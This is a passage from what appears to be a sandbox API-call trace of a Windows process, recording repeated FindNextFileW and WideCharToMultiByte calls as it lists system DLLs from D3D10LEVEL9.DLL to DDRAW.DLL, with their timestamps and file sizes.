(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0180.772] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x49c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0180.772] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.772] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x49c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0180.772] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.772] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x49c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0180.773] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.773] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x49c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0180.773] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.773] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.773] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.773] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.773] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.773] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.774] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.774] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.774] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.774] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.774] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.774] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.774] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.775] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x49c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0180.775] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.775] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x49c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", 